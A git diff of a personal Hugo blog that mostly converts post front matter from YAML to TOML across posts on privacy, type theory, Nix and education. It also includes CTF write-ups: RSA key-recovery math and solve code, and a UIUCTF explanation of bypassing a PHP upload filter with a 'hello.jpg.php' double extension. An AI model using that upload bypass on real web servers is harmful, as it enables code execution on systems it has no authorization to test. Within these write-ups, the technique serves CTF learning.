Although inconvenient, trusting different vendors for different pieces of this
|
Although inconvenient, trusting different vendors for different pieces of this
|
||||||
technological assembly line is the best way to prevent it from becoming abused.
|
technological assembly line is the best way to prevent it from becoming abused.
|
||||||
|
@ -168,7 +170,8 @@ multiple apps and servers, and servers can federate with each other using an
|
||||||
open protocol. I would strongly recommend people who are interested in privacy
|
open protocol. I would strongly recommend people who are interested in privacy
|
||||||
to consider it.
|
to consider it.
|
||||||
|
|
||||||
## Conclusion
|
Conclusion
|
||||||
|
---
|
||||||
|
|
||||||
Why care? This might just seem to be some superficial political concern by
|
Why care? This might just seem to be some superficial political concern by
|
||||||
privacy advocates who warn of dangerous edge cases that only matter to people
|
privacy advocates who warn of dangerous edge cases that only matter to people
|
||||||
|
@ -179,25 +182,22 @@ afraid of, but tech megacorps who possibly have even more power.
|
||||||
We live in a digital world, so it's important to know how it works and who's in
|
We live in a digital world, so it's important to know how it works and who's in
|
||||||
control.
|
control.
|
||||||
|
|
||||||
[^1]:
|
[^1]: Governments and other parties with enough computational resources may
|
||||||
Governments and other parties with enough computational resources may
|
|
||||||
still be able to undermine specific levels of security, or just [threaten you
|
still be able to undermine specific levels of security, or just [threaten you
|
||||||
personally][wrench] until they get what they want.
|
personally][wrench] until they get what they want.
|
||||||
|
|
||||||
[^2]:
|
[^2]: Large corporations typically still have majority representation in the
|
||||||
Large corporations typically still have majority representation in the
|
|
||||||
committees that decide on the most impactful specifications, but these are
|
committees that decide on the most impactful specifications, but these are
|
||||||
still made available to researchers who can analyze and critique it.
|
still made available to researchers who can analyze and critique it.
|
||||||
|
|
||||||
[^3]:
|
[^3]: Not exactly; encryption by default is not authenticated. That means while
|
||||||
Not exactly; encryption by default is not authenticated. That means while
|
|
||||||
the data is protected in transit, there's no guarantee that the recipient is
|
the data is protected in transit, there's no guarantee that the recipient is
|
||||||
actually who they say they are. I know only the recipient received my message,
|
actually who they say they are. I know only the recipient received my message,
|
||||||
but I don't know for sure the recipient is Nathan. In practice, browsers use
|
but I don't know for sure the recipient is Nathan. In practice, browsers use
|
||||||
[PKI][pki] infrastructure to solve this, which relies on a certificate chain
|
[PKI][pki] infrastructure to solve this, which relies on a certificate chain
|
||||||
that is distributed by browser or operating system vendors.
|
that is distributed by browser or operating system vendors.
|
||||||
|
|
||||||
[1]: #its-still-not-enough
|
[1]: {{< ref "#not-enough" >}}
|
||||||
|
|
||||||
[csam]: https://www.apple.com/child-safety/pdf/CSAM_Detection_Technical_Summary.pdf
|
[csam]: https://www.apple.com/child-safety/pdf/CSAM_Detection_Technical_Summary.pdf
|
||||||
[ferpa]: https://en.wikipedia.org/wiki/Family_Educational_Rights_and_Privacy_Act
|
[ferpa]: https://en.wikipedia.org/wiki/Family_Educational_Rights_and_Privacy_Act
|
|
@ -1,11 +1,12 @@
|
||||||
---
|
+++
|
||||||
title: "building a formal cek machine in agda"
|
title = "building a formal cek machine in agda"
|
||||||
draft: true
|
draft = true
|
||||||
date: 2022-02-02
|
date = 2022-02-02
|
||||||
tags: ["computer-science", "programming-languages", "formal-verification", "lambda-calculus"]
|
tags = ["computer-science", "programming-languages", "formal-verification", "lambda-calculus"]
|
||||||
languages: ["agda"]
|
languages = ["agda"]
|
||||||
toc: true
|
layout = "single"
|
||||||
---
|
toc = true
|
||||||
|
+++
|
||||||
|
|
||||||
<!--more-->
|
<!--more-->
|
||||||
|
|
||||||
|
@ -48,7 +49,6 @@ tools to solve this problem in an elegant way, by giving the type system the
|
||||||
ability to contain values. This also opens its own can of worms, but for
|
ability to contain values. This also opens its own can of worms, but for
|
||||||
questions about program correctness, it is more valuable than depending on
|
questions about program correctness, it is more valuable than depending on
|
||||||
catching problems at runtime.
|
catching problems at runtime.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Lambda calculus
|
## Lambda calculus
|
||||||
|
@ -71,7 +71,7 @@ have several constructors:
|
||||||
the computation that was abstracted away. From an algebraic perspective,
|
the computation that was abstracted away. From an algebraic perspective,
|
||||||
this is just function application (i.e applying `f(x) = 2x` to 3 would
|
this is just function application (i.e applying `f(x) = 2x` to 3 would
|
||||||
result in 2\*3. Note that only a simple substitution has been done and
|
result in 2\*3. Note that only a simple substitution has been done and
|
||||||
further evaluation is required to reduce 2\*3)
|
further evaluation is required to reduce 2*3)
|
||||||
|
|
||||||
### Why?
|
### Why?
|
||||||
|
|
||||||
|
@ -114,7 +114,7 @@ expand infinitely. That makes sense given its purpose: to find a _fixed point_
|
||||||
of whatever function you pass in.
|
of whatever function you pass in.
|
||||||
|
|
||||||
> As an example, the fixed-point of the function f(x) = sqrt(x) is 1. That's
|
> As an example, the fixed-point of the function f(x) = sqrt(x) is 1. That's
|
||||||
> because f(1) = 1. The Y combinator attempts to find the fixed point by simply
|
> because f(1) = 1. The Y combinator attempts to find the fixed point by
|
||||||
> applying the function multiple times. In the untyped lambda calculus, this can
|
> applying the function multiple times. In the untyped lambda calculus, this can
|
||||||
> be used to implement simple (but possibly unbounded) recursion.
|
> be used to implement simple (but possibly unbounded) recursion.
|
||||||
|
|
|
@ -1,14 +1,14 @@
|
||||||
---
|
+++
|
||||||
title: "The Cyber Grabs CTF: Unbr34k4bl3 (942)"
|
title = "The Cyber Grabs CTF: Unbr34k4bl3 (942)"
|
||||||
date: 2022-02-02
|
date = 2022-02-02
|
||||||
tags: ["ctf", "crypto", "rsa"]
|
tags = ["ctf", "crypto", "rsa"]
|
||||||
languages: ["python"]
|
languages = ["python"]
|
||||||
math: true
|
layout = "single"
|
||||||
toc: true
|
math = true
|
||||||
---
|
toc = true
|
||||||
|
+++
|
||||||
|
|
||||||
Crypto challenge Unbr34k4bl3 from the Cyber Grabs CTF.
|
Crypto challenge Unbr34k4bl3 from the Cyber Grabs CTF.
|
||||||
|
|
||||||
<!--more-->
|
<!--more-->
|
||||||
|
|
||||||
> No one can break my rsa encryption, prove me wrong !!
|
> No one can break my rsa encryption, prove me wrong !!
|
||||||
|
@ -42,13 +42,11 @@ $$ 1 + e_1 + e_1^2 + \cdots + e_1^x = 1 + e_2 + e_2^2 $$
|
||||||
|
|
||||||
Taking the entire equation $\mod e_1$ gives us:
|
Taking the entire equation $\mod e_1$ gives us:
|
||||||
|
|
||||||
$$
|
$$\begin{aligned}
|
||||||
\begin{aligned}
|
|
||||||
1 &\equiv 1 + e_2 + e_2^2 \mod e_1 \\\
|
1 &\equiv 1 + e_2 + e_2^2 \mod e_1 \\\
|
||||||
0 &\equiv e_2 + e_2^2 \\\
|
0 &\equiv e_2 + e_2^2 \\\
|
||||||
0 &\equiv e_2(1 + e_2)
|
0 &\equiv e_2(1 + e_2)
|
||||||
\end{aligned}
|
\end{aligned}$$
|
||||||
$$
|
|
||||||
|
|
||||||
This means there are two possibilities: either $e_1 = e_2$ or $e_1$ is even
|
This means there are two possibilities: either $e_1 = e_2$ or $e_1$ is even
|
||||||
(since we know $e_2$ is a prime). The first case isn't possible, because with $x
|
(since we know $e_2$ is a prime). The first case isn't possible, because with $x
|
||||||
|
@ -65,84 +63,68 @@ and $\boxed{e_2 = 5}$ gives us a value that make $e_2$ prime.
|
||||||
We're not actually given $p$ or $q$, but we are given $ip = p^{-1} \mod q$ and
|
We're not actually given $p$ or $q$, but we are given $ip = p^{-1} \mod q$ and
|
||||||
$iq = q^{-1} \mod p$. In order words:
|
$iq = q^{-1} \mod p$. In order words:
|
||||||
|
|
||||||
$$
|
$$\begin{aligned}
|
||||||
\begin{aligned}
|
|
||||||
p \times ip &\equiv 1 \mod q \\\
|
p \times ip &\equiv 1 \mod q \\\
|
||||||
q \times iq &\equiv 1 \mod p
|
q \times iq &\equiv 1 \mod p
|
||||||
\end{aligned}
|
\end{aligned}$$
|
||||||
$$
|
|
||||||
|
|
||||||
We can rewrite these equations without the mod by introducing variables $k_1$
|
We can rewrite these equations without the mod by introducing variables $k_1$
|
||||||
and $k_2$ to be arbitrary constants that we solve for later:
|
and $k_2$ to be arbitrary constants that we solve for later:
|
||||||
|
|
||||||
$$
|
$$\begin{aligned}
|
||||||
\begin{aligned}
|
|
||||||
p \times ip &= 1 + k_1q \\\
|
p \times ip &= 1 + k_1q \\\
|
||||||
q \times iq &= 1 + k_2p
|
q \times iq &= 1 + k_2p
|
||||||
\end{aligned}
|
\end{aligned}$$
|
||||||
$$
|
|
||||||
|
|
||||||
We'll be trying to use these formulas to create a quadratic that we can use to
|
We'll be trying to use these formulas to create a quadratic that we can use to
|
||||||
eliminate $k_1$ and $k_2$. Multiplying these together gives:
|
eliminate $k_1$ and $k_2$. Multiplying these together gives:
|
||||||
|
|
||||||
$$
|
$$\begin{aligned}
|
||||||
\begin{aligned}
|
|
||||||
(p \times ip)(q \times iq) &= (1 + k_1q)(1 + k_2p) \\\
|
(p \times ip)(q \times iq) &= (1 + k_1q)(1 + k_2p) \\\
|
||||||
pq \times ip \times iq &= 1 + k_1q + k_2p + k_1k_2pq
|
pq \times ip \times iq &= 1 + k_1q + k_2p + k_1k_2pq
|
||||||
\end{aligned}
|
\end{aligned}$$
|
||||||
$$
|
|
||||||
|
|
||||||
I grouped $p$ and $q$ together here because it's important to note that since we
|
I grouped $p$ and $q$ together here because it's important to note that since we
|
||||||
have $x$, we know $r$ and thus $pq = \frac{n}{r}$. This means that for purposes
|
have $x$, we know $r$ and thus $pq = \frac{n}{r}$. This means that for purposes
|
||||||
of solving the equation, $pq$ is a constant to us. This actually introduces an
|
of solving the equation, $pq$ is a constant to us. This actually introduces an
|
||||||
interesting structure on the right hand side, we can create 2 new variables:
|
interesting structure on the right hand side, we can create 2 new variables:
|
||||||
|
|
||||||
$$
|
$$\begin{aligned}
|
||||||
\begin{aligned}
|
|
||||||
\alpha &= k_1q \\\
|
\alpha &= k_1q \\\
|
||||||
\beta &= k_2p
|
\beta &= k_2p
|
||||||
\end{aligned}
|
\end{aligned}$$
|
||||||
$$
|
|
||||||
|
|
||||||
Substituting this into our equation above we get:
|
Substituting this into our equation above we get:
|
||||||
|
|
||||||
$$
|
$$\begin{aligned}
|
||||||
\begin{aligned}
|
|
||||||
pq \times ip \times iq &= 1 + \alpha + \beta + \alpha\beta
|
pq \times ip \times iq &= 1 + \alpha + \beta + \alpha\beta
|
||||||
\end{aligned}
|
\end{aligned}$$
|
||||||
$$
|
|
||||||
|
|
||||||
Recall from whatever algebra class you last took that $(x - x_0)(x - x_1) = x^2
|
Recall from whatever algebra class you last took that $(x - x_0)(x - x_1) = x^2
|
||||||
\- (x_0 + x_1)x + x_0x_1$. Since we have both $\alpha\beta$ and $(\alpha +
|
\- (x_0 + x_1)x + x_0x_1$. Since we have both $\alpha\beta$ and $(\alpha +
|
||||||
\beta)$ in our equation, we can try to look for a way to isolate them in order
|
\beta)$ in our equation, we can try to look for a way to isolate them in order
|
||||||
to create our goal.
|
to create our goal.
|
||||||
|
|
||||||
$$
|
$$\begin{aligned}
|
||||||
\begin{aligned}
|
|
||||||
pq \times ip \times iq &= 1 + k_1q + k_2p + k_1k_2pq \\\
|
pq \times ip \times iq &= 1 + k_1q + k_2p + k_1k_2pq \\\
|
||||||
k_1k_2pq &= pq \times ip \times iq - 1 - k_1q - k_2p \\\
|
k_1k_2pq &= pq \times ip \times iq - 1 - k_1q - k_2p \\\
|
||||||
k_1k_2 &= ip \times iq - \frac{1}{pq} - \frac{k_1}{p} - \frac{k_2}{q}
|
k_1k_2 &= ip \times iq - \frac{1}{pq} - \frac{k_1}{p} - \frac{k_2}{q}
|
||||||
\end{aligned}
|
\end{aligned}$$
|
||||||
$$
|
|
||||||
|
|
||||||
$\frac{1}{pq}$ is basically $0$, and since $k_1$ and $k_2$ are both smaller than
|
We can treat $\frac{1}{pq}$ as $0$, and since $k_1$ and $k_2$ are both smaller
|
||||||
$p$ or $q$, then we'll approximate this using $k_1k_2 = ip \times iq - 1$. Now
|
than $p$ or $q$, then we'll approximate this using $k_1k_2 = ip \times iq - 1$.
|
||||||
that $k_1k_2$ has become a constant, we can create the coefficients we need:
|
Now that $k_1k_2$ has become a constant, we can create the coefficients we need:
|
||||||
|
|
||||||
$$
|
$$\begin{aligned}
|
||||||
\begin{aligned}
|
|
||||||
\alpha + \beta &= pq \times ip \times iq - 1 - k_1k_2pq \\\
|
\alpha + \beta &= pq \times ip \times iq - 1 - k_1k_2pq \\\
|
||||||
\alpha\beta &= k_1k_2pq
|
\alpha\beta &= k_1k_2pq
|
||||||
\end{aligned}
|
\end{aligned}$$
|
||||||
$$
|
|
||||||
|
|
||||||
$$
|
$$\begin{aligned}
|
||||||
\begin{aligned}
|
|
||||||
(x - \alpha)(x - \beta) &= 0 \\\
|
(x - \alpha)(x - \beta) &= 0 \\\
|
||||||
x^2 - (\alpha + \beta)x + \alpha\beta &= 0 \\\
|
x^2 - (\alpha + \beta)x + \alpha\beta &= 0 \\\
|
||||||
x &= \frac{(\alpha+\beta) \pm \sqrt{(\alpha+\beta)^2 - 4\alpha\beta}}{2}
|
x &= \frac{(\alpha+\beta) \pm \sqrt{(\alpha+\beta)^2 - 4\alpha\beta}}{2}
|
||||||
\end{aligned}
|
\end{aligned}$$
|
||||||
$$
|
|
||||||
|
|
||||||
Putting this into Python, looks like:
|
Putting this into Python, looks like:
|
||||||
|
|
||||||
|
@ -204,7 +186,7 @@ print(long_to_bytes(m2))
|
||||||
# ... The last part of the flag is: 8ut_num83r_sy5t3m_15_3v3n_m0r3_1nt3r35t1n6} ...
|
# ... The last part of the flag is: 8ut_num83r_sy5t3m_15_3v3n_m0r3_1nt3r35t1n6} ...
|
||||||
```
|
```
|
||||||
|
|
||||||
This trick won't work with $c_1$ however:
|
This trick won't work with $c_1$ though:
|
||||||
|
|
||||||
```py
|
```py
|
||||||
d1 = pow(e1, -1, phi)
|
d1 = pow(e1, -1, phi)
|
|
@ -1,8 +1,8 @@
|
||||||
---
|
+++
|
||||||
title: "Clangd in Nix"
|
title = "Clangd in Nix"
|
||||||
date: 2022-03-03
|
date = 2022-03-03
|
||||||
tags: ["nixos"]
|
tags = ["nixos"]
|
||||||
---
|
+++
|
||||||
|
|
||||||
I've been using [Nix][NixOS] a lot recently since it handles dependency
|
I've been using [Nix][NixOS] a lot recently since it handles dependency
|
||||||
management very cleanly, but one gripe that I've been having is that when I'm
|
management very cleanly, but one gripe that I've been having is that when I'm
|
|
@ -1,11 +1,11 @@
|
||||||
---
|
+++
|
||||||
title: "Learn by Implementing Elliptic Curve Crypto"
|
title = "Learn by Implementing Elliptic Curve Crypto"
|
||||||
date: 2022-03-04
|
date = 2022-03-04
|
||||||
tags: ["crypto", "learn-by-implementing"]
|
tags = ["crypto", "learn-by-implementing"]
|
||||||
draft: true
|
draft = true
|
||||||
math: true
|
math = true
|
||||||
toc: true
|
toc = true
|
||||||
---
|
+++
|
||||||
|
|
||||||
Good places to start (in terms of usefulness):
|
Good places to start (in terms of usefulness):
|
||||||
|
|
||||||
|
@ -80,7 +80,6 @@ import (
|
||||||
```
|
```
|
||||||
|
|
||||||
> This is a [literate document][literate]. You can run this blog post using [Markout]:
|
> This is a [literate document][literate]. You can run this blog post using [Markout]:
|
||||||
>
|
|
||||||
> ```
|
> ```
|
||||||
> TODO:
|
> TODO:
|
||||||
> ```
|
> ```
|
||||||
|
@ -101,11 +100,9 @@ Addition on $P$ and $Q$ is defined by first finding the line $PQ$, determining
|
||||||
the point $-R$ where it intersects the curve again, and then returning $R$. We
|
the point $-R$ where it intersects the curve again, and then returning $R$. We
|
||||||
can find the line $PQ$ by using high school geometry:
|
can find the line $PQ$ by using high school geometry:
|
||||||
|
|
||||||
$$
|
$$\begin{aligned}
|
||||||
\begin{aligned}
|
|
||||||
(y - y_0) = m(x - x_0)
|
(y - y_0) = m(x - x_0)
|
||||||
\end{aligned}
|
\end{aligned}$$
|
||||||
$$
|
|
||||||
|
|
||||||
```go
|
```go
|
||||||
func (A Point) Add(B Point) Point {
|
func (A Point) Add(B Point) Point {
|
|
@ -1,14 +1,12 @@
|
||||||
---
|
+++
|
||||||
title: "Installing NixOS on ZFS with encryption"
|
title = "Installing NixOS on ZFS with encryption"
|
||||||
date: 2022-05-09
|
date = 2022-05-09
|
||||||
tags: ["nixos", "linux", "setup"]
|
tags = ["nixos", "linux", "setup"]
|
||||||
toc: true
|
toc = true
|
||||||
---
|
+++
|
||||||
|
|
||||||
I finally switched over to NixOS for my desktop, and here is my install process.
|
I finally switched over to NixOS for my desktop, and here is my install process.
|
||||||
|
|
||||||
<!--more--> Annoyingly enough, the biggest non-declarative part of Nix is this
|
<!--more--> Annoyingly enough, the biggest non-declarative part of Nix is this
|
||||||
|
|
||||||
initial setup phase, and I made several mistakes during the install process, so
|
initial setup phase, and I made several mistakes during the install process, so
|
||||||
I'm documenting the process here so I can remember for next time.
|
I'm documenting the process here so I can remember for next time.
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
---
|
+++
|
||||||
title: "Mastery-Based Learning"
|
title = "Mastery-Based Learning"
|
||||||
date: 2022-07-24
|
date = 2022-07-24
|
||||||
tags: ["education"]
|
tags = ["education"]
|
||||||
---
|
+++
|
||||||
|
|
||||||
A thought I've been brewing probably since undergrad is the idea of
|
A thought I've been brewing probably since undergrad is the idea of
|
||||||
mastery-based education for skill-based practices. Directly inspired by the
|
mastery-based education for skill-based practices. Directly inspired by the
|
||||||
|
@ -21,9 +21,9 @@ specific purposes:
|
||||||
- **Dependency.** The linked topic needs some percentage of mastery in order
|
- **Dependency.** The linked topic needs some percentage of mastery in order
|
||||||
to best experience the current topic.
|
to best experience the current topic.
|
||||||
|
|
||||||
- **Spill.** Not really sure what a good term for this would be, but basically
|
- **Spill.** Not really sure what a good term for this would be, but mastery of
|
||||||
mastery of the current topic would result in some percentage of "spilled"
|
the current topic would result in some percentage of "spilled" mastery gain
|
||||||
mastery gain for the linked topic.
|
for the linked topic.
|
||||||
|
|
||||||
The dependency aspect allows people to work backwards, starting from what they
|
The dependency aspect allows people to work backwards, starting from what they
|
||||||
don't know and being able to query what the required context is. They can build
|
don't know and being able to query what the required context is. They can build
|
||||||
|
@ -51,8 +51,8 @@ The vision would be something like this:
|
||||||
|
|
||||||
2. Then, the student goes off and learns some related material. After a length
|
2. Then, the student goes off and learns some related material. After a length
|
||||||
of time has passed, they are quizzed on the first topic again. By this time,
|
of time has passed, they are quizzed on the first topic again. By this time,
|
||||||
their mastery score should fall a bit simply on the basis of "forgetfulness
|
their mastery score should fall a bit on the basis of "forgetfulness over
|
||||||
over time".
|
time".
|
||||||
|
|
||||||
3. At the end of the semester, if they have reached required thresholds of
|
3. At the end of the semester, if they have reached required thresholds of
|
||||||
mastery in each required topic, they will pass the class.
|
mastery in each required topic, they will pass the class.
|
Before Width: | Height: | Size: 24 KiB After Width: | Height: | Size: 24 KiB |
|
@ -1,9 +1,10 @@
|
||||||
---
|
+++
|
||||||
title: "UIUCTF 2022 Writeups"
|
title = "UIUCTF 2022 Writeups"
|
||||||
date: 2022-08-01
|
date = 2022-08-01
|
||||||
tags: ["ctf"]
|
tags = ["ctf"]
|
||||||
math: true
|
layout = "single"
|
||||||
---
|
math = true
|
||||||
|
+++
|
||||||
|
|
||||||
Last weekend I took some time on Friday to do UIUCTF 2022. I placed 102nd with
|
Last weekend I took some time on Friday to do UIUCTF 2022. I placed 102nd with
|
||||||
462 points. Here are the writeups to the challenges I solved. My full workspace
|
462 points. Here are the writeups to the challenges I solved. My full workspace
|
||||||
|
@ -46,8 +47,8 @@ foreach ($allowed_extensions as $extension) {
|
||||||
|
|
||||||
The flaw here is that the file extension is only checked for existence, not that
|
The flaw here is that the file extension is only checked for existence, not that
|
||||||
it actually occurs at the end of the file. As a result, the web server will
|
it actually occurs at the end of the file. As a result, the web server will
|
||||||
guess the kind of data in the file based on the final extension. We can simply
|
guess the kind of data in the file based on the final extension. We can upload a
|
||||||
upload a file named `hello.jpg.php` and it will pass this.
|
file named `hello.jpg.php` and it will pass this.
|
||||||
|
|
||||||
The Dockerfile in the handout helpfully tells us the location of the flag, so
|
The Dockerfile in the handout helpfully tells us the location of the flag, so
|
||||||
here is the file I uploaded:
|
here is the file I uploaded:
|
||||||
|
@ -73,7 +74,7 @@ all of the objects except the two flag halves.
|
||||||
|
|
||||||
[blender]: https://www.blender.org
|
[blender]: https://www.blender.org
|
||||||
|
|
||||||
![Hiding blender objects](../../../assets/ctf/blender-objects.png)
|
![Hiding blender objects](blender-objects.png)
|
||||||
|
|
||||||
This reveals two QR codes that can be combined into the flag.
|
This reveals two QR codes that can be combined into the flag.
|
||||||
|
|
||||||
|
@ -114,8 +115,8 @@ to figure it out.
|
||||||
> anyone who may want it. https://military-grade-encryption-web.chal.uiuc.tf/
|
> anyone who may want it. https://military-grade-encryption-web.chal.uiuc.tf/
|
||||||
|
|
||||||
I'm not really sure what the clever way to solve this was, but all the numbers
|
I'm not really sure what the clever way to solve this was, but all the numbers
|
||||||
were small enough to be brute forced, so that's what I did. Simply reverse the
|
were small enough to be brute forced, so that's what I did: reverse the process
|
||||||
process used and look for a string beginning with `uiuctf{`.
|
used and look for a string beginning with `uiuctf{`.
|
||||||
|
|
||||||
[solve script](https://git.sr.ht/~mzhang/uiuctf-2022/tree/master/item/crypto/military-grade-encryption/solve.py)
|
[solve script](https://git.sr.ht/~mzhang/uiuctf-2022/tree/master/item/crypto/military-grade-encryption/solve.py)
|
||||||
|
|
||||||
|
@ -128,7 +129,7 @@ challenge of RSA. This time, rather than starting with a modulus and trying to
|
||||||
discover the private exponent, we are given the private exponent, and trying to
|
discover the private exponent, we are given the private exponent, and trying to
|
||||||
find the modulus.
|
find the modulus.
|
||||||
|
|
||||||
As a reminder, once we find $N$, we can simply evaluate $c^d \mod N$ to
|
As a reminder, once we find $N$, we can evaluate $c^d \mod N$ to
|
||||||
determine the final message.
|
determine the final message.
|
||||||
|
|
||||||
First, we know that the relationship between $e$ and $d$ is that $ed \equiv 1
|
First, we know that the relationship between $e$ and $d$ is that $ed \equiv 1
|
||||||
|
@ -145,8 +146,8 @@ of 8.
|
||||||
[external factoring service]: https://www.alpertron.com.ar/ECM.HTM
|
[external factoring service]: https://www.alpertron.com.ar/ECM.HTM
|
||||||
|
|
||||||
Trusty old combinatorics tells us ${16 \choose 8} = 12870$, which is easily
|
Trusty old combinatorics tells us ${16 \choose 8} = 12870$, which is easily
|
||||||
iterable within a matter of seconds. After picking 8 primes, we simply run
|
iterable within a matter of seconds. After picking 8 primes, we run through the
|
||||||
through the same process as `gen_prime` in order to generate our $p$ and $q$:
|
same process as `gen_prime` in order to generate our $p$ and $q$:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
for perm in tqdm(perms):
|
for perm in tqdm(perms):
|
||||||
|
@ -196,8 +197,8 @@ This means that even with the absence of one of the required points, we can
|
||||||
still reasonably recover the curve with the added information that all
|
still reasonably recover the curve with the added information that all
|
||||||
coefficients are less than $500,000$.
|
coefficients are less than $500,000$.
|
||||||
|
|
||||||
I simply threw all of the constraints we are given into the z3 solver, and
|
I threw all of the constraints we are given into the z3 solver, and within
|
||||||
within milliseconds the answer was given. After that it was just a matter of
|
milliseconds the answer was given. After that it was just a matter of hooking it
|
||||||
hooking it up to the challenge server and waiting for the flag.
|
up to the challenge server and waiting for the flag.
|
||||||
|
|
||||||
[solve script](https://git.sr.ht/~mzhang/uiuctf-2022/tree/master/item/crypto/wringing-rings/solve.py)
|
[solve script](https://git.sr.ht/~mzhang/uiuctf-2022/tree/master/item/crypto/wringing-rings/solve.py)
|
|
@ -1,11 +1,12 @@
|
||||||
---
|
+++
|
||||||
title: "Higher Inductive Types"
|
title = "Higher Inductive Types"
|
||||||
date: 2022-09-20
|
slug = "higher-inductive-types"
|
||||||
tags: ["type-theory"]
|
date = 2022-09-20
|
||||||
toc: true
|
tags = ["type-theory"]
|
||||||
math: true
|
toc = true
|
||||||
draft: true
|
math = true
|
||||||
---
|
draft = true
|
||||||
|
+++
|
||||||
|
|
||||||
**Higher inductive types (HIT)** are central to developing cubical type theory.
|
**Higher inductive types (HIT)** are central to developing cubical type theory.
|
||||||
What this article will try to do is develop an approach to understanding higher
|
What this article will try to do is develop an approach to understanding higher
|
||||||
|
@ -13,7 +14,8 @@ inductive types based on my struggles to learn the topic.
|
||||||
|
|
||||||
<!--more-->
|
<!--more-->
|
||||||
|
|
||||||
## Ordinary inductive types
|
Ordinary inductive types
|
||||||
|
---
|
||||||
|
|
||||||
So first off, what is an inductive type? These are a kind of data structure
|
So first off, what is an inductive type? These are a kind of data structure
|
||||||
that's commonly used in _functional programming_. For example, consider the
|
that's commonly used in _functional programming_. For example, consider the
|
||||||
|
@ -40,9 +42,9 @@ representation using this data structure:
|
||||||
|
|
||||||
Why is this representation useful? Well, if you remember **proof by induction**
|
Why is this representation useful? Well, if you remember **proof by induction**
|
||||||
from maybe high school geometry, you'll recall that we can prove things about
|
from maybe high school geometry, you'll recall that we can prove things about
|
||||||
all natural numbers by simply proving that it's true for the _base case_ 0, and
|
all natural numbers by proving that it's true for the _base case_ 0, and then
|
||||||
then proving that it's true for any _inductive case_ $n$, given that the
|
proving that it's true for any _inductive case_ $n$, given that the previous
|
||||||
previous case $n - 1$ is true.
|
case $n - 1$ is true.
|
||||||
|
|
||||||
This kind of definition of natural numbers makes this induction structure much
|
This kind of definition of natural numbers makes this induction structure much
|
||||||
more clear. For example, look at the definition of a tree:
|
more clear. For example, look at the definition of a tree:
|
||||||
|
@ -54,11 +56,11 @@ data Tree (A : Set) : Set where
|
||||||
right : Tree A → Tree A
|
right : Tree A → Tree A
|
||||||
```
|
```
|
||||||
|
|
||||||
We can do induction on trees by simply proving it's true for (1) the base case,
|
We can do induction on trees by proving it's true for (1) the base case, (2) the
|
||||||
(2) the left case, and (3) the right case. In fact, all inductive data
|
left case, and (3) the right case. In fact, all inductive data structures have
|
||||||
structures have this kind of induction principle. So say you wanted to prove
|
this kind of induction principle. So say you wanted to prove that $1 + 2 + 3 +
|
||||||
that $1 + 2 + 3 + \cdots + n = \frac{n\cdot(n+1)}{2}$ for all $n \in
|
\cdots + n = \frac{n\cdot(n+1)}{2}$ for all $n \in \mathbb{N}$, then you could
|
||||||
\mathbb{N}$, then you could say:
|
say:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
<summary>(click here for boring requisites)</summary>
|
<summary>(click here for boring requisites)</summary>
|
||||||
|
@ -174,7 +176,8 @@ Using Agda, we can see that this type-checks correctly.
|
||||||
|
|
||||||
**TODO:** Ensure totality
|
**TODO:** Ensure totality
|
||||||
|
|
||||||
## Higher inductive types
|
Higher inductive types
|
||||||
|
---
|
||||||
|
|
||||||
Moving on, we want to know what _higher_ inductive types brings to the table. To
|
Moving on, we want to know what _higher_ inductive types brings to the table. To
|
||||||
illustrate its effect, let's consider the following scenario: suppose you have
|
illustrate its effect, let's consider the following scenario: suppose you have
|
|
@ -1,12 +1,12 @@
|
||||||
---
|
+++
|
||||||
title: "Dependent Types from First Principles"
|
title = "Dependent Types from First Principles"
|
||||||
slug: "dependent-types"
|
slug = "dependent-types"
|
||||||
date: 2022-10-27
|
date = 2022-10-27
|
||||||
tags: ["type-theory"]
|
tags = ["type-theory"]
|
||||||
toc: true
|
toc = true
|
||||||
math: true
|
math = true
|
||||||
draft: true
|
draft = true
|
||||||
---
|
+++
|
||||||
|
|
||||||
It's frequently said that computers are just made of 1s and 0s. As programmers,
|
It's frequently said that computers are just made of 1s and 0s. As programmers,
|
||||||
we induce structure into this sea of 1s and 0s to build a rich collection of
|
we induce structure into this sea of 1s and 0s to build a rich collection of
|
||||||
|
@ -48,7 +48,7 @@ apart. So programmers developed **types**, ways of categorizing data so when
|
||||||
we're just reading a series of 0s and 1s, we would know how to interpret it.
|
we're just reading a series of 0s and 1s, we would know how to interpret it.
|
||||||
|
|
||||||
|Raw|Interpreted as number|Interpreted as text|
|
|Raw|Interpreted as number|Interpreted as text|
|
||||||
| ---------------- | --------------------- | ------------------- |
|
|---|---|---|
|
||||||
|`68 65 6c 6c 6f`|448,378,203,247|`hello`|
|
|`68 65 6c 6c 6f`|448,378,203,247|`hello`|
|
||||||
|
|
||||||
So now we know how to
|
So now we know how to
|
|
@ -0,0 +1,63 @@
|
||||||
|
+++
|
||||||
|
title = "Decentralized Identity, a Middle Ground"
|
||||||
|
date = 2022-10-30T03:04:51-05:00
|
||||||
|
|
||||||
|
logseq = true
|
||||||
|
+++
|
||||||
|
|
||||||
|
- With Twitter management changing, I'm starting to think about the small web again. The small web is a concept where you use the Internet to interact with people directly, rather than operating through the medium of megacorps. When we think about big monoliths like Twitter and Facebook, at the very heart of it is some kind of algorithm picking what it is we see. And with the power to control that gives us advertising and mass manipulation.
|
||||||
|
- For the rest of this blog post, I'll be talking about _microblogging_ specifically: short posts of several sentences, along with a few media attachments, of which Twitter is one of the largest monolithic implementations. But the things I talk about are also applicable to other applications, including long-form blogging (Medium), image sharing (Instagram, Snapchat), video sharing (YouTube), chat (Messenger)
|
||||||
|
- There's several projects out there that are already trying out other extremes. I'll cover two big types here:
|
||||||
|
- **Federation.** This style of application development is inspired by email. The idea is that you develop a common _protocol_ for apps living on different servers to talk to each other, so you can have people choose their own servers rather than trusting everything to megacorps like Google or Facebook. One notable example of this in the microblogging realm is Mastodon / ActivityPub.
|
||||||
|
- **Peer-to-peer.** This style of application development is rarer, but can be seen commonly in things like torrents. The idea is that _each_ client holds all application info, and interacts with everything else as if they were all clients. One notable example of this in the microblogging realm is Scuttlebutt.
|
||||||
|
- I'll go into more detail about these two styles later, but they both come with their advantages and drawbacks. I don't think any of the solutions that exist are sustainable for longer periods of time.
|
||||||
|
- ## Feature Evaluation
|
||||||
|
